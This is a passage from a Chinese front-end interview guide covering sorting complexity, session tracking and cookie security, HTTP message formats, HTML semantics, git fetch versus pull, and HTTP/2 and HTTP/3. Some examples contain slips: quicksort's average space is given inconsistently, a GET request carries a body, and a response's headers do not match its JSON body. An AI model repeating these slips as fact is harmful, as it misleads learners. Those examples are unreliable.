  • 运营上传的图都是几 MB 的原图,前端怎么兜底?

    别指望运营压缩,接图片处理服务,CDN 一般支持 URL 参数实时裁剪和转格式,比如 ?w=400&format=webp。前端组件统一封装,按容器宽度自动拼参数。

# 34 常见排序算法的时间复杂度,空间复杂度

⚡ 30 秒速记

  • O(n²) 三个:冒泡、选择、插入,空间都是 O(1);冒泡和插入在已经有序时能到 O(n)
  • O(n log n) 三个:快排(平均 n log n,最坏 n²,空间平均 O(log n))、归并(稳定,空间 O(n))、堆排(空间 O(1))
  • 稳定性:冒泡、插入、归并稳定;选择、快排、堆排不稳定
  • 非比较排序:计数 O(n+k)、桶、基数 O(nk),适合值域有限的整数
  • 前端相关:V8 7.0 起 Array.prototype.sort 用 TimSort(归并 + 插入),ES2019 规范要求排序稳定

常见排序分两档:冒泡、选择、插入是 O(n²),快排、归并、堆排是 O(n log n)。 空间上简单排序和堆排都是原地的 O(1),归并要 O(n) 的辅助数组,快排靠递归栈,平均 O(log n),最坏退化成 O(n)。快排虽然最坏是 O(n²),但随机选基准后实际最快,所以用得最多。另外要会说稳定性:相等元素排序后相对顺序不变,比如表格先按时间排再按状态排,稳定排序才能保证同状态的还按时间排,JS 的 sort 在 ES2019 之后保证稳定。

下面是一些常见的排序算法及其时间复杂度和空间复杂度的概述:

  1. 冒泡排序(Bubble Sort):
  • 时间复杂度:最好情况下O(n),平均和最坏情况下O(n^2)
  • 空间复杂度:O(1)
  1. 插入排序(Insertion Sort):
  • 时间复杂度:最好情况下O(n),平均和最坏情况下O(n^2)
  • 空间复杂度:O(1)
  1. 选择排序(Selection Sort):
  • 时间复杂度:最好情况下O(n^2),平均和最坏情况下O(n^2)
  • 空间复杂度:O(1)
  1. 快速排序(Quick Sort):
  • 时间复杂度:最好情况下O(nlogn),平均情况下O(nlogn),最坏情况下O(n^2)
  • 空间复杂度:最好情况下O(logn),平均和最坏情况下O(n)
  1. 归并排序(Merge Sort):
  • 时间复杂度:最好情况下O(nlogn),平均情况下O(nlogn),最坏情况下O(nlogn)
  • 空间复杂度:O(n)
  1. 堆排序(Heap Sort):
  • 时间复杂度:最好情况下O(nlogn),平均情况下O(nlogn),最坏情况下O(nlogn)
  • 空间复杂度:O(1)
  1. 希尔排序(Shell Sort):
  • 时间复杂度:取决于所选的间隔序列,最好情况下O(nlogn),平均和最坏情况下根据间隔序列的选择而不同
  • 空间复杂度:O(1)
  1. 计数排序(Counting Sort):
  • 时间复杂度:最好情况下O(n+k),平均和最坏情况下O(n+k)
  • 空间复杂度:O(k),其中 k 是计数范围
  1. 桶排序(Bucket Sort):
  • 时间复杂度:最好情况下O(n+k),平均和最坏情况下根据桶的数量和排序算法的选择而不同
  • 空间复杂度:O(n+k)
  1. 基数排序(Radix Sort):
  • 时间复杂度:最好情况下O(nk),平均和最坏情况下O(nk)
  • 空间复杂度:O(n+k)

💬 面试官追问

  • 快排什么时候会退化到 O(n²)?怎么避免?

    每次选的基准都是最大或最小值时,比如对已经有序的数组总选第一个元素。用随机基准或者三数取中,大量重复元素时用三路快排。

  • [10, 9, 1].sort() 结果是什么?

    [1, 10, 9]。不传比较函数时按字符串排序,"10" 排在 "9" 前面。数字要写 arr.sort((a, b) => a - b)。

  • 表格先按创建时间排、再按状态排,同状态的行顺序乱了,为什么?

    用的排序不稳定。V8 7.0 之前(Chrome 70 前)数组长度超过 10 用的是快排,不稳定;现在 TimSort 是稳定的。要兼容老环境就在比较函数里把时间也作为第二排序键。

  • 100 万个 0~100 的成绩要排序,用什么最快?

    计数排序,开一个长度 101 的数组计数,再按顺序展开,O(n + k),比任何比较排序都快。值域大但分布均匀的可以考虑桶排序。

  • 为什么堆排序也是 O(n log n),实际却常比快排慢?

    堆排的访问是跳着来的,父子节点下标差一倍,缓存命中率差;快排是顺序扫描,对 CPU 缓存友好。所以堆排更多用在 Top K 这类只要部分结果的场景。

# 35 web开发中会话跟踪的方法有哪些

⚡ 30 秒速记

  • HTTP 本身无状态,会话跟踪 = 让服务器认出「这还是刚才那个人」
  • 传统四种:Cookie、Session(服务端存状态,Cookie 里只放 sessionId)、URL 重写、隐藏表单字段
  • 前后端分离常用 Token:放在 Authorization 头里,服务端无状态,适合多端和跨域
  • 各自的坑:Session 多机要共享(放 Redis);JWT 签发后没法主动作废,要短过期 + refresh token;IP 识别不可靠
  • 安全:会话 Cookie 必须 HttpOnly + Secure + SameSite,防 XSS 偷和 CSRF

HTTP 是无状态的,会话跟踪就是让服务器在多次请求之间认出同一个用户,最常见的是 Cookie 配 Session。 登录成功后服务端生成一个 sessionId,用户数据存在服务端,sessionId 通过 Set-Cookie 给浏览器,之后每次请求浏览器自动带上,服务端拿它查到用户。URL 重写和隐藏字段是没 Cookie 时的兜底,会话 ID 暴露在地址里容易泄露,现在很少用。前后端分离和 App 场景更多用 Token,自己放在请求头里,服务端不存状态,但要想清楚怎么让它提前失效。

时序图 · 3 个参与者 / 9 步
alt 会话存在且未过期会话已过期或被删除浏览器浏览器应用服务器应用服务器Redis 会话存储Redis 会话存储提交账号密码1写入会话数据2Set-Cookie 带 sessionId3下一次请求自动带 Cookie4用 sessionId 查会话5返回用户信息6正常返回数据7查不到8返回 401 要求重新登录9多台服务器共享同一份会话
  • Cookie: 使用Cookie是最常见的会话跟踪方法之一。服务器在响应中设置一个包含会话ID的Cookie,然后在后续的请求中,浏览器会自动将该Cookie发送回服务器,以标识用户的会话。
  • Session: 服务器使用会话来跟踪用户的状态。每个会话都会分配一个唯一的会话ID,该ID通常存储在Cookie中或通过URL重写传递给服务器。服务器使用会话ID来关联用户的请求,并在服务器端存储会话数据。
  • URL重写: 将会话ID作为查询参数添加到URL中,以便在每个请求中传递会话信息。这种方法不需要依赖Cookie,适用于禁用Cookie的情况,但会增加URL的长度并暴露会话信息。
  • 隐藏input: 在表单中添加一个隐藏的input字段,将会话ID作为其值传递给服务器。服务器接收到请求时可以通过解析请求参数获取会话ID,以进行会话跟踪。
  • IP地址: 使用客户端的IP地址作为会话跟踪的依据。服务器根据不同的IP地址来区分不同的用户,并跟踪他们的会话状态。然而,由于多个用户可能共享相同的IP地址(如在同一局域网内),这种方法可能不准确。

这些方法可以单独或结合使用,根据实际需求和安全考虑选择适当的会话跟踪方法。

💬 面试官追问

  • Session 在单机好好的,部署两台服务器后用户老是被踢下线,为什么?

    Session 存在各自服务器内存里,请求被负载均衡打到另一台就查不到了。把 Session 放到 Redis 这类共享存储里,或者网关做会话粘滞,前者更靠谱。

  • 用户点了退出,JWT 还在有效期内,怎么让它马上失效?

    JWT 本身做不到,服务端只校验签名和过期时间。常用办法是 access token 设很短的有效期,比如 15 分钟,配一个可吊销的 refresh token;要立刻失效就维护一个黑名单,代价是又变回有状态了。

  • Token 放 localStorage 还是 Cookie?

    localStorage 能被任何 JS 读到,一旦有 XSS 就被偷走;HttpOnly 的 Cookie 脚本读不到,但要防 CSRF,配 SameSite=Lax 基本能挡住。Web 端我倾向 HttpOnly Cookie。

  • 为什么不建议用 URL 带 sessionId?

    地址会被浏览器历史、服务器日志、Referer 头带出去,用户把链接发给别人就等于把登录态送人。真遇到禁用 Cookie 的环境,也要配合短时效和绑定设备。

  • 能不能用客户端 IP 识别用户?

    不能当主方案。公司、学校、运营商的 NAT 下一堆人共用一个出口 IP,手机切网络 IP 又会变。IP 只适合做风控的辅助信号。

# 36 HTTP request报文结构是怎样的

⚡ 30 秒速记

  • 四段:请求行 + 请求头 + 空行 + 请求体,每行以 CRLF 结尾
  • 请求行 = 方法 + 请求目标 + 协议版本,比如 GET /api/users?id=1 HTTP/1.1
  • 请求头:Host(HTTP/1.1 必须有)、Content-Type、Content-Length、Cookie、Authorization、User-Agent
  • 空行是头和体的分界,少了它服务器不知道头在哪结束;请求体可选,GET 一般没有
  • HTTP/2 起改成二进制帧,请求行拆成 :method、:path 等伪头部,头部用 HPACK 压缩

HTTP/1.1 的请求报文就是一段文本,分四块:请求行、请求头、一个空行、可选的请求体。 请求行写清楚方法、路径和协议版本;下面每行一个请求头,HTTP/1.1 里 Host 是必填的,因为一台服务器上可能挂了很多个域名。空行就是两个连续的 CRLF,告诉服务器头部到此为止,后面是请求体,请求体有多长靠 Content-Length 或分块传输来定。HTTP/2 之后报文不再是文本了,变成二进制帧,DevTools 里看到的只是按逻辑结构展示的样子。

  1. 首行是Request-Line包括:请求方法,请求URI,协议版本,CRLF
  2. 首行之后是若干行请求头,包括general-header,request-header或者entity-header,每个一行以CRLF结束
  3. 请求头和消息实体之间有一个CRLF分隔
  4. 根据实际请求需要可能包含一个消息实体 一个请求报文例子如下:
GET /Protocols/rfc2616/rfc2616-sec5.html HTTP/1.1
Host: www.w3.org
Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Referer: https://www.google.com.hk/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: authorstyle=yes
If-None-Match: "2cc8-3e3073913b100"
If-Modified-Since: Wed, 01 Sep 2004 13:24:52 GMT

name=qiu&age=25

💬 面试官追问

  • HTTP/1.1 请求里不写 Host 会怎样?

    按规范服务器要返回 400。Host 是为了虚拟主机:同一个 IP 上跑着多个站点,服务器靠它判断你要访问哪个。

  • GET 请求能带请求体吗?

    协议没禁止,但规范说 GET 的请求体没有定义语义,很多代理、CDN、服务器框架会直接丢掉,浏览器的 fetch 也不允许 GET 带 body。参数老老实实放查询串。

  • 登录接口偶发返回 431,业务日志里都没有记录,怎么查?

    431 是请求头太大,在网关或服务器层就被拒了,进不到业务代码。大概率是 Cookie 越积越多,看看请求头里 Cookie 有多大,清理没用的 Cookie、收窄作用域,Nginx 对应的是 large_client_header_buffers。

  • 服务器怎么知道 POST 的请求体到哪里结束?

    看 Content-Length 指定的字节数;如果用的是 Transfer-Encoding: chunked,就按分块读,直到读到长度为 0 的块。两个头同时出现且被不同服务器解析不一致,就是请求走私漏洞的来源。

  • HTTP/2 里还有请求行吗?

    没有了,请求行被拆成 :method、:path、:scheme、:authority 几个伪头部,和其他头一起用 HPACK 压缩后放在 HEADERS 帧里,请求体放在 DATA 帧里。

# 37 HTTP response报文结构是怎样的

⚡ 30 秒速记

  • 四段:状态行 + 响应头 + 空行 + 响应体,每行用 CRLF(\r\n)结尾
  • 状态行 = 协议版本 + 状态码 + 原因短语,比如 HTTP/1.1 200 OK
  • 常见头:Content-Type、Content-Length、Cache-Control、ETag、Set-Cookie、Location
  • 响应体可以没有:204、304、HEAD 请求的响应都不带响应体
  • 和请求报文对着记:只有第一行不同(请求行和状态行);HTTP/2 起改成二进制帧,状态行变成 :status 伪头

响应报文就四块:状态行、一堆响应头、一个空行、可选的响应体。 状态行告诉你协议版本和结果,比如 HTTP/1.1 404 Not Found;响应头描述响应体是什么类型、多长、能缓存多久;中间那个空行是分隔符,解析器读到它就知道头结束了。响应体不是必有的,204 和 304 就规定不能带。还有一点容易漏:这是 HTTP/1.x 的文本格式,到了 HTTP/2 已经变成二进制帧,状态码放在 :status 伪头里,原因短语直接没了。

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 26
Cache-Control: max-age=60

{"name": "qiu", "age": 25}
  • 首行是状态行包括:HTTP版本,状态码,状态描述,后面跟一个CRLF
  • 首行之后是若干行响应头,包括:通用头部,响应头部,实体头部
  • 响应头部和响应实体之间用一个CRLF空行分隔
  • 最后是一个可能的消息实体

响应报文例子如下:

HTTP/1.1 200 OK
Date: Tue, 08 Jul 2014 05:28:43 GMT
Server: Apache/2
Last-Modified: Wed, 01 Sep 2004 13:24:52 GMT
ETag: "40d7-3e3073913b100"
Accept-Ranges: bytes
Content-Length: 16599
Cache-Control: max-age=21600
Expires: Tue, 08 Jul 2014 11:28:43 GMT
P3P: policyref="http://www.w3.org/2001/05/P3P/p3p.xml"
Content-Type: text/html; charset=iso-8859-1

{"name": "qiu", "age": 25}

💬 面试官追问

  • 响应头和响应体之间那个空行,少了会怎样?

    解析器分不清头在哪结束,会把响应体的第一行当成头来解析,结果要么报格式错误,要么内容少一截。手写原生 socket 服务时最容易犯,框架一般帮你处理了。

  • 接口返回的 JSON,axios 拿到的 data 却是字符串,怎么查?

    axios 默认会尝试 JSON.parse,解析失败不报错,直接把原字符串给你。所以先看响应体是不是合法 JSON,常见是后端多序列化了一次或者末尾混了日志;再看 Content-Type 是不是 application/json。

  • Content-Length 写小了会出什么问题?

    客户端按这个长度读,读够就停,后面的内容被截掉,JSON 直接解析失败。动态生成的内容不好预算长度,就用 Transfer-Encoding: chunked 分块传,两个头不要同时出现。

  • HTTP/2 里还有「200 OK」这几个字吗?

    没有。HTTP/2 把状态码放在 :status 伪头里,只有数字 200,原因短语被删了。所以代码里别依赖 statusText 做判断,HTTP/2 下它经常是空字符串。

  • 304 响应没有响应体,浏览器显示的内容从哪来?

    从本地缓存来。304 只是告诉浏览器「你手上那份还能用」,浏览器拿缓存的内容,再用 304 里带回的新头(比如新的 Cache-Control)更新缓存元数据。

# 38 title与h1的区别、b与strong的区别、i与em的区别

⚡ 30 秒速记

  • <title> 在 <head> 里,给标签页、收藏夹、搜索结果标题用;<h1> 在 <body> 里,是正文主标题
  • 两者可以不一样:<title> 常带品牌词(「XX 详情 - 某某商城」),<h1> 只写内容本身
  • <b> / <i> 只是视觉加粗、斜体,HTML5 给了弱语义(关键词、术语、外文)
  • <strong> = 内容重要,<em> = 语气重读,放的位置不同句意会变
  • 要样式就写 CSS,要语义才挑标签;还有别把 title 属性(悬浮提示)和 <title> 元素搞混

一句话:<title> 是整个页面的名字,<h1> 是正文里的大标题;<b>、<i> 管长相,<strong>、<em> 管意思。 <title> 用户在页面里看不到,只出现在标签页和搜索结果里;<h1> 是读屏用户按标题跳转时第一个落脚点,没它就像一本书没有章节名。<strong> 表示「这段很重要」,<em> 表示「这个词要重读」,比如 我<em>没</em>说他拿了 和 我没说<em>他</em>拿了 意思完全不同。<b> 在 HTML5 里也不是纯废标签了,用来标关键词、产品名这种「要醒目但不强调」的东西挺合适。

  • title属性用于提供元素的额外信息,通常以工具提示的形式显示。它没有语义化的意义,仅表示一个标题或描述性文本。它在SEO中没有直接影响,但可以提供更好的用户体验和辅助工具提示。
  • <h1>是HTML中的标题元素,用于表示页面的主标题。它具有层次结构,表示文档的结构和内容。搜索引擎通常会将<h1>标签中的文本作为页面的主要标题,并根据其重要性进行权重分配。
  • <b>是用于粗体显示文本的HTML元素,仅仅表示展示的效果,没有语义上的强调意义。在使用屏幕阅读器等辅助工具阅读网页时,<b>不会改变读取方式,仅仅呈现粗体效果。
  • <strong>是表示文本的强调元素,具有语义化的含义,用于强调重要内容。在屏幕阅读器等辅助工具中,会以更加强调的方式读取<strong>标签中的文本,传达给用户更强的语气。
  • <i>用于将文本显示为斜体,仅表示展示的效果,没有语义上的强调意义。
  • <em>表示强调的文本,具有语义化的含义,用于强调某些内容。在屏幕阅读器等辅助工具中,会以更加强调的方式读取<em>标签中的文本,传达给用户更强的强调效果。

总结:

  • <title>和<h1>在语义化和SEO方面有区别,一个用于页面标题,一个用于内容标题。
  • <b>和<strong>都可以用于加粗文本,但<strong>具有语义化的强调效果。
  • <i>和<em>都可以用于斜体文本,但<em>具有语义化的强调效果。

💬 面试官追问

  • 页面大标题用 <div class="title"> 写的,样式一模一样,有什么问题?

    读屏用户按 H 键在标题之间跳,根本找不到这个页面讲什么;搜索引擎也少了一个判断主题的强信号。改成 <h1>,样式照样用 class 控制,视觉零变化。

  • 一个页面能有几个 <h1>?

    规范上没限制,HTML5 早期提过的「每个 <section> 一个 <h1>」大纲算法浏览器从没实现过,已经从规范里删了。实际我建议一页一个 <h1>,下面按 h2、h3 顺着排,别跳级。

  • 付款页的风险提示用 <b> 加红,要不要改成 <strong>?

    要改。这是「必须看到」的重要信息,正是 <strong> 的语义;颜色和字重交给 CSS。反过来商品名只是想醒目,用 <b> 或者 span 加样式就行,别全站一律 <strong>。

  • 富文本编辑器的「加粗」按钮,该输出 <b> 还是 <strong>?

    主流编辑器默认输出 <strong> 和 <em>,因为大多数人点加粗就是想强调。如果业务真要区分「装饰」和「强调」,就额外加一个按钮,不然编辑也分不清该点哪个。

  • <title> 和 <h1> 写成完全一样的文字行不行?

    能用,但浪费。<title> 是搜索结果里那行蓝字,适合放核心关键词加品牌;<h1> 给已经进到页面的人看,写清楚内容就够了,比如「iPhone 16 手机壳」和「iPhone 16 手机壳 - 某某商城」。

# 39 请你谈谈Cookie的弊端

⚡ 30 秒速记

  • 容量小:单条约 4KB(名 + 值 + 属性一起算),每个域名数量也有上限(现代浏览器一般 150~180 个)
  • 每个同域请求自动带上,图片、JS 也背着,白白浪费上行带宽 → 静态资源放独立域名
  • 安全:没 HttpOnly 会被 XSS 读走,没 SameSite 容易被 CSRF 利用,HTTP 下明文传
  • 作用域受限:只认域名 + 路径,跨站要 SameSite=None; Secure,第三方 cookie 正在被浏览器限制
  • 对策:cookie 只放会话 ID,三件套 HttpOnly + Secure + SameSite,大数据放服务端或 IndexedDB

cookie 最大的问题是它会自动跟着每个请求走,又小又不安全。 打个比方,它像一张贴在每个包裹上的便签,便签越写越多,每个包裹都变重;而且谁都能看到上面写了什么。所以 cookie 只适合放一个会话标识,用户资料、购物车这种数据放服务端。安全上三个属性必须配齐:HttpOnly 防 JS 读、Secure 只走 HTTPS、SameSite=Lax 挡大部分 CSRF。另外 Safari 早就默认拦第三方 cookie,Chrome 也在收紧,靠它做跨站登录、广告归因的方案都得重做。

// 服务端这样种 cookie,前端 document.cookie 读不到它
// Set-Cookie: sid=abc123; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=86400
console.log(document.cookie) // 不包含 sid

cookie虽然在存储客户端数据方面提供了方便,并减轻了服务器的负担,但它也存在一些弊端和限制,包括:

  • 数量限制:每个特定域名下的cookie数量有限。例如,旧版的IE6最多允许20个cookie,而IE7及更高版本允许50个cookie,其他浏览器也有类似的限制。
  • 大小限制:每个cookie的大小也有限制,通常为约4096字节(不同浏览器可能有差异),为了兼容性,一般建议将cookie大小控制在4095字节以内。
  • 清理策略:一些浏览器会根据策略清理过期或不常使用的cookie,这可能会导致某些数据丢失或需要重新设置。
  • 安全性问题:cookie存储在客户端,如果被恶意拦截,攻击者可以获取其中的数据,包括session信息,可能导致安全隐患。
  • 跨域限制:cookie在同源策略下工作,无法跨域访问。每个域名下的cookie只能被同域名的页面访问和修改。
  • 对网络性能的影响:cookie会增加每个请求的数据量,从而增加了网络传输的开销,尤其在请求大量静态资源的网页时,会对加载速度产生一定的影响。

要解决这些问题,可以使用其他存储方式,如localStorage或sessionStorage,使用服务器端存储来替代部分或全部cookie,或者通过其他技术手段来优化和管理cookie的使用。

💬 面试官追问

  • 把用户资料 JSON 塞进 cookie,接近 4KB 了还能写进去,有问题吗?

    有。超过上限浏览器会静默丢弃,不报错,线上表现就是某些用户莫名其妙掉登录。而且每个请求都多传 4KB 上行。资料放服务端,cookie 里只留 sid。

  • 首页 100 多个图片请求,请求头都很大,怎么优化?

    看一眼 Request Headers 里的 Cookie,主域名下埋点、AB 实验的 cookie 全被带上了。把静态资源放到单独的域名(比如 static.example.com),注意不能是主域的子域又种了 Domain=.example.com 的 cookie,不然照样带。

  • 会话 ID 已经加密了,被偷走还危险吗?

    照样危险。攻击者不用解密,直接拿着这个值重放就能冒充用户。防的思路是不让它被偷:HttpOnly 防 XSS 读取、Secure 防明文嗅探,再加上过期时间和服务端主动失效。

  • a.com 和 b.com 想共享登录态,前端互相读 cookie 行不行?

    不行,cookie 只能被所属域名访问。要么走统一认证中心(SSO,跳转换 ticket),要么如果都是 example.com 的子域,就把 cookie 的 Domain 设成 .example.com。

  • 购物车一直存在 cookie 里,用户说过几天就没了,为什么?

    Safari 的 ITP 会把 JS 写的 cookie 最长压到 7 天,用户清缓存也会丢。登录用户的购物车以服务端为准,cookie 和本地存储只当临时缓存。

# 40 git fetch和git pull的区别

⚡ 30 秒速记

  • git fetch:只把远端新提交下载到本地,更新 origin/main 这类远程跟踪分支,不碰你的工作区
  • git pull = git fetch + git merge(默认),会直接改当前分支,可能马上进冲突
  • git pull --rebase = fetch + rebase,历史是一条直线,不产生多余的合并提交
  • 稳妥做法:先 fetch,用 git log HEAD..origin/main 看看别人改了啥,再决定 merge 还是 rebase
  • Git 2.27 起没配 pull.rebase 会给提示,较新版本在分叉时直接报错让你选策略,团队最好统一配置

fetch 只是「去远端看看有什么新东西,下载回来放着」,pull 是「下载完直接合进我的分支」。 打个比方,fetch 像把快递拿回家但不拆,pull 是拿回来当场拆开塞进柜子。fetch 永远安全,它只动 origin/xxx 这类远程跟踪分支;pull 会动你的当前分支,本地有没提交的修改或者冲突,就得马上处理。我平时更习惯 git pull --rebase,或者先 fetch 看一眼差异再动手,避免历史里全是「Merge branch 'main' of ...」这种没意义的提交。

git fetch origin
git log --oneline HEAD..origin/main   # 远端比我多出来的提交
git diff HEAD...origin/main           # 具体改了什么
git rebase origin/main                # 确认没问题再合
时序图 · 4 个参与者 / 7 步
alt 没有冲突有冲突工作区工作区本地分支本地分支远程跟踪分支远程跟踪分支远端仓库远端仓库git fetch 请求新提交1下载提交,更新 origin/main2fetch 到这里结束,工作区不变git pull 先做一次 fetch3更新 origin/main4把 origin/main 合进当前分支5工作区更新为合并结果6停在冲突状态,等你手动解决7
  • git pull:执行git pull命令时,Git会自动从远程仓库下载最新的提交并将其合并到当前分支。它是git fetch和git merge两个操作的组合。它会自动将远程仓库的更新合并到当前分支,并自动解决可能的冲突。一般情况下,使用git pull可以快速获取远程最新代码并合并到本地分支。
  • git fetch:执行git fetch命令时,Git会从远程仓库下载最新的提交,但不会自动将其合并到当前分支。它只是将远程仓库的最新代码下载到本地,并更新本地仓库中远程分支的指针位置。这样,你可以在本地查看远程仓库的更新情况,进行代码比较或其他操作。但它不会修改你当前所在的分支。

总结:git pull是直接从远程仓库获取最新代码并合并到当前分支,而git fetch只是获取最新代码到本地,并不会自动合并。使用git pull可以更方便地获取最新代码并更新本地分支,而git fetch适合查看远程仓库的更新情况,进行代码比较或其他操作。

💬 面试官追问

  • 执行完 git fetch,本地代码为什么一点没变?

    本来就不会变。fetch 只更新了 origin/main,你的 main 和工作区都没动。要用上新代码,还得 git merge origin/main 或 git rebase origin/main。

  • 提交历史里一堆「Merge branch 'main' of github.com/...」,怎么来的?

    本地有提交、远端也有新提交时,直接 git pull 默认会 merge,就生成一个合并提交。团队统一 git config pull.rebase true,或者改用 git pull --rebase,历史就是直的。

  • git pull --rebase 什么时候不能用?

    pull --rebase 只改写你本地还没推的提交,日常用很安全。真正危险的是对已经推上去、别人也在用的分支做 rebase 再 push --force,会把别人的历史搞乱,公共分支不要这么干。

  • 工作区有没提交的修改,直接 pull 会怎样?

    如果远端改的文件和你改的有交集,Git 会拒绝并提示先提交或暂存。可以先 git stash,pull 完再 git stash pop;或者用 git pull --rebase --autostash 一步搞定。

  • 想看远端某个分支的代码但不想合进来,怎么做?

    git fetch 之后直接 git switch -c feat-x origin/feat-x 建一个本地分支看,或者 git show origin/feat-x:src/app.ts 看单个文件,完全不碰自己的分支。

# 41 http2.0 做了哪些改进 http3.0 呢

⚡ 30 秒速记

  • HTTP/2 四件事:二进制分帧、多路复用(一个 TCP 连接并发跑多个流)、HPACK 头部压缩、服务端推送
  • 服务端推送基本已死:Chrome 106 起默认关闭,实际用 103 Early Hints + preload 代替
  • HTTP/2 只解决了 HTTP 层队头阻塞,TCP 丢一个包,所有流一起等重传
  • HTTP/3 换成基于 UDP 的 QUIC:每个流独立重传,丢包只卡自己那条流;TLS 1.3 内置,首次 1-RTT、恢复连接可 0-RTT
  • 连接迁移:QUIC 用连接 ID 而不是四元组标识连接,Wi-Fi 切 4G 不用重连
  • 副作用:雪碧图、域名分片这些 HTTP/1.1 时代的优化在 HTTP/2 下没必要了,分片甚至是负优化

HTTP/2 解决的是「一条连接只能排队发请求」,HTTP/3 解决的是「TCP 丢一个包全体等着」。 HTTP/1.1 像单车道,一辆车堵住后面全停;HTTP/2 把请求切成带编号的帧,在一条连接里交错着发,变成了多车道,但底下还是同一条 TCP 路,路面一塌所有车道都停。HTTP/3 干脆把底层换成 QUIC,在 UDP 上自己实现可靠传输,每条流各管各的重传。顺带握手也快了:TCP + TLS 1.3 要 2 个 RTT 才能发数据,QUIC 首次 1 个,恢复连接能做到 0-RTT。

时序图 · 2 个参与者 / 10 步
alt 之前连过这台服务器网络从 Wi-Fi 切到 4G浏览器浏览器服务器服务器HTTP/2:先 TCP 握手,再 TLS 握手TCP SYN1SYN + ACK2ACK + TLS ClientHello3TLS ServerHello 和证书4发出第一个 HTTP 请求5HTTP/3:QUIC 把传输和 TLS 握手合成一步QUIC Initial 含 ClientHello6ServerHello 和证书7发出第一个 HTTP 请求80-RTT 首包直接带上请求数据9凭连接 ID 继续用原连接,不重新握手10

HTTP/2 的特性包括:

1. 二进制分帧

  • HTTP/1.x:基于文本格式,报文以明文形式传输,解析过程复杂且容易出错,效率较低。
  • HTTP/2:采用二进制分帧层,将所有传输的信息分割为更小的帧,并对这些帧进行二进制编码。帧是 HTTP/2 数据传输的最小单位,包括头帧和数据帧等。这种二进制分帧的方式使得协议的解析更加高效、准确,提高了数据传输的性能。

2. 多路复用

  • HTTP/1.x:同一时间一个连接只能处理一个请求,当有多个请求时,需要依次排队等待处理,容易出现“队头阻塞”问题,即一个请求阻塞会影响后续请求的处理。
  • HTTP/2:通过多路复用机制,允许在一个连接上同时并行处理多个请求和响应。每个请求和响应被拆分成多个独立的帧,这些帧可以在连接上乱序发送和接收,然后在另一端根据帧的标识进行重新组装。这样可以充分利用网络带宽,提高连接的利用率,避免了“队头阻塞”问题。

3. 头部压缩

  • HTTP/1.x:请求和响应的头部信息通常以明文形式重复传输,包含了很多重复的字段,如 User - Agent、Cookie 等,会占用大量的带宽。
  • HTTP/2:采用 HPACK 算法对头部信息进行压缩。HPACK 会维护一个静态表和一个动态表,对于重复出现的头部字段,只需要在表中存储一次,后续传输时只需传输对应的索引,从而大大减少了头部信息的传输量,降低了带宽消耗。

4. 服务器推送

  • HTTP/1.x:客户端需要明确请求服务器上的资源,服务器只能被动响应客户端的请求,无法主动向客户端推送资源。
  • HTTP/2:支持服务器推送功能,服务器可以在客户端请求某个资源时,主动将客户端可能需要的其他资源一起推送给客户端。例如,当客户端请求一个 HTML 页面时,服务器可以同时推送该页面所需的 CSS、JavaScript 等资源,减少了客户端的请求次数,提高了页面的加载速度。

而 HTTP/3 则是基于 QUIC 协议的新一代 HTTP 协议。QUIC 是一个基于 UDP 的传输协议,具有以下特性:

1. 基于 QUIC 协议

  • HTTP/2:仍然基于 TCP 协议,TCP 协议在处理丢包重传、拥塞控制等方面存在一些固有的问题,可能会导致“队头阻塞”问题,影响数据传输的性能。
  • HTTP/3:采用 QUIC(快速 UDP 互联网连接)协议作为传输层协议。QUIC 基于 UDP 实现,但在 UDP 的基础上增加了可靠传输、拥塞控制、加密等功能。QUIC 协议的连接建立速度更快,并且在丢包情况下不会影响其他流的传输,避免了 TCP 协议中的“队头阻塞”问题,进一步提高了数据传输的性能和可靠性。

2. 连接迁移

  • HTTP/2:基于 TCP 协议,TCP 连接依赖于源 IP 地址、目的 IP 地址、源端口和目的端口,当设备的网络环境发生变化(如从 Wi - Fi 切换到移动数据网络)时,TCP 连接会中断,需要重新建立连接,这可能会导致数据传输中断和延迟。
  • HTTP/3:QUIC 协议通过连接 ID 来标识连接,而不是依赖于 IP 地址和端口。当设备的网络环境发生变化时,只要连接 ID 不变,QUIC 连接可以保持不变,实现无缝的连接迁移,提高了用户体验。

3. 更灵活的拥塞控制

  • HTTP/2:TCP 协议的拥塞控制算法是固定的,不同的网络环境可能需要不同的拥塞控制策略,TCP 难以快速适应网络变化。
  • HTTP/3:QUIC 协议的拥塞控制更加灵活,可以根据不同的网络情况动态调整拥塞控制策略,更好地适应各种复杂的网络环境,提高数据传输的效率。

总结:HTTP/2 和 HTTP/3 都是在传输层进行的协议改进,HTTP/2 在 TCP 上引入了二进制分帧传输、多路复用、头部压缩和服务器推送等特性,而 HTTP/3 则是基于 UDP 的 QUIC 协议,引入了连接迁移、无队头阻塞、自定义拥塞控制和前向安全和前向纠错等新特性。

💬 面试官追问

  • 都上 HTTP/2 了,弱网下多个接口还是一起变慢,为什么?

    TCP 层的队头阻塞还在。一个包丢了,TCP 必须等它重传到位才把后面的字节交给上层,哪怕后面的数据属于别的流。这正是 HTTP/3 要解决的,丢包率越高差距越明显。

  • 升级 HTTP/2 之后,还要做雪碧图和域名分片吗?

    域名分片要撤掉,多个域名意味着多个连接,各自握手、各自慢启动,还打散了 HPACK 的压缩上下文。雪碧图收益也很小了,小图标直接用 SVG 更好维护。

  • HTTP/2 的服务端推送现在还能用吗?

    基本别用了。命中率低,常推送浏览器已经缓存的资源,Chrome 106 起默认禁用。想提前加载关键资源用 <link rel="preload">,或者让服务端回 103 Early Hints。

  • HTTP/3 跑在 UDP 上,不怕丢包乱序吗?

    UDP 只是个壳,可靠传输、拥塞控制、加密全在 QUIC 里实现了,而且是在用户态,升级不用等操作系统内核。真正的风险是有些企业网络会限制 UDP 443,所以浏览器会先用 HTTP/2 连,看到 Alt-Svc 头再切 HTTP/3,失败就回退。

  • 怎么确认自己的站点实际跑的是哪个协议?

    DevTools 的 Network 面板右键表头勾上 Protocol,会显示 h2 或 h3。命令行可以用 curl -I --http3 https://example.com(需要编译时带 HTTP/3 支持的 curl)。

# 二、CSS相关

# 1 css sprite是什么,有什么优缺点

⚡ 30 秒速记

